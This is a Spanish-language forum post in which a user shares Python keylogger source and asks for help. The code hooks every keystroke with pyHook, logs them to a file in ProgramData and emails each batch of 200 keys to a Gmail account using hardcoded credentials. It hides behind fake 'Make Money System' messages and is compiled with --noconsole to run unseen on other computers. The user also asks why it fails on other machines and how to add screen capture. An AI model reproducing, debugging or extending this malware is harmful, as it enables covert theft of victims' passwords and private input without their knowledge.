Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - AnderPoker07

#1
Código: python
# -*- coding: utf-8 -*-
import os, sys, logging
import pyHook, pythoncom
import time, datetime
import smtplib
import socket

#Creo el archivo
Fdir = 'C://ProgramData/task.txt'
if os.path.isfile(Fdir):
    os.remove(Fdir)
    print ('Make Money System - Spanish Version.')
    print ('Todos los derechos reservados!')
else:
    f = open(Fdir,"w")
    f.close() 
    print('Make Money System - Spanish Version.')
    print ('Todos los derechos reservados!')

#Defino variables y creo la funcion que registra
Klg = ""
Cont = 0
Send = ""
nombre_equipo = socket.gethostname()
def send_email(message):

    try:
         
        # Datos
        fromaddr = '[email protected]'
        toaddrs = '[email protected]'
        username = '[email protected]'
        password = '123456.Dalila'

        # Enviando el correo
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, message)
        server.quit()
        print('Servicio Arrancado con exito, Ya se han enviado los logs!')
    except:
     
        print('Hubo algun error en la ejecucion')

send_email("Nuevo Dispotivo Conectado: ")
def PresionanAlgunaTecla(event):
    global Cont
    global Klg
    global Send
    if event.Ascii:
        key = chr(event.Ascii)
        Cont +=1
    Klg += key
    f1 = open(Fdir,"w")
    f1.write(Klg)
    f1.close()

    if Cont == 200:
        print('200')
        #leer log y enviar por correo
        typ = open(Fdir,"r")
        log = typ.read()
        typ.close()
        print (log)
        send_email(log)
        #Mato y comienzo de nuevo
        os.remove(Fdir)
        Cont = 0
        Klg = ""     


# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = PresionanAlgunaTecla
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()


Perfecto, este es mi codigo, si lo compilo con PyInstaller y lo ejecuto en mi pc funciona de maravilla, pero cuando lo pruebo en otra pc pues no funciona.
Creo el ejecutable con --noconsole --onefile
es un script basico pero potente, y estoy en ese problema.
Aprovecho para preguntar, algun modulo  de python o alguna forma para capturar pantallas?